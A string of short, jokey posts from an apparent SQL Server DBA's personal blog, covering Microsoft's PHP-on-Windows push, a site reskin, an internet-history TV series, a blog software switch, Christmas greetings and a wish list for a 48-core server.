You know you are a geek when you are sitting home salivating over sleazy pics of task manager pegging 48 cores.

Actual SQL Server content can be found here.

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PHP on Windows running against SQL Server???

WIMP. Not Weakly Interacting Massive Particles of dark matter fame.  Windows, IIS7, MSSQL, PHP; Microsoft is going after the LAMP markets. I suspect they have a pretty good chance of converting quite a few customers. This means DBA's should be prepared. Hopefully, it will be better to support than JAVA and SQL Server :)

There are substantial improvements in IIS7(IIS6 with an addon) for PHP support through the Fast CGI open protocol and other enhancements through the Zend partnership.

Microsoft has also released the PHP Driver for SQL Server CTP. More info can be found on the team blog.

I don't have much more info on the PHP driver but I am going to keep up with it. There is a time and place for everything. If MS delivers as good or better than LAMP, why reinvent the wheel in .net when an enterprise ready production proven open source app is the right answer. For example, Word Press. Now there are a million variables that go into that decision but having options in your toolbox can't be a bad thing.

ALT HEAD: Honey, turn off the LAMP.

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The next Netscape?

The site has been reskinned for your viewing pleasure. Actually, it is the first step in my plan for innardweb 2.0 domination. Zuckerburg better watch out. I now put the value of StatisticsIO much higher than 15 billion ($15,000,000,000) dollars. Greetings from Nigeria while we are at it. To expand my market share, I am now accepting any and all venture capital.

Anyway, real SQL content coming soon. I promise.

Technorati Tags: Facebook,web 2.0,dotnetnuke

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Offtopic but cool

Off topic but nerdy. The science channel is running a series called "Download: The true story of the Internet." I caught the first two last night. "Browser Wars" was so slanted against MS is was almost comical but it did provide some interesting insight.

Check out the schedule here.

Download: The True Story of the Internet
Browser Wars
TV-G
This is the story of an epic battle between America's mightiest corporation and a small group of "computer geeks" who created a revolutionary technology.

Download: The True Story of the Internet
Search
TV-G
In a few short years a new and unique way of finding information revolutionized the Web and in the process created one of the largest companies in the US; Google.

Download: The True Story of the Internet
Bubble
TV-G
In an astonishing journalistic coup, the founders of the Amazon and Ebay, Jeff Bezos and Pierre Omidyar, tell the story of how their business grew from nothing to dominate the global economy and profoundly change the way we live our lives.

Download: The True Story of the Internet
People Power
TV-G
This is the story of how the internet has changed society and how a new breed of entrepreneurs are shaping our digital futures. It all started with Napster; a way of swapping music that was dreamt up by the teenaged Shawn Fanning.

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Offtopic but cool

This might be HAWTALTA but... There are some cool sites available from the Windows Live Dev site. They are called quick apps. I like Tafiti and Consorto U. Source is on Copeplex.

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Software upgrade

I have switched the blog software over to News Article from http://www.ventrian.com/

Please point your RSS readers at http://feeds.feedburner.com/statisticsio

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Merry Christmas

Merry Christmas and a happy and safe new year from StatisticsIO!

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Off topic - 24 Season 6

Disk one is in the DVD player as I type. I expect to be losing sleep for the next couple of days. Glee. No spoilers please.

DBA's kill spid's. Jack Bauer kills terrorists.

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Dear Santa - Quad core dl580 g5

I am done shopping for the kids. They(and me) are getting a Wii among other things. We are going to be putting up the Christmas tree today.

I figured I would take this time to give Santa my wish list. It only has one thing. A 4 way quad core DL580 with 128GB of RAM. Please be sure to give me the x7350 processors. I need 46.88GHz. :)

If the elves have a hard time with this one, you can get it here. I have been a good boy this year.

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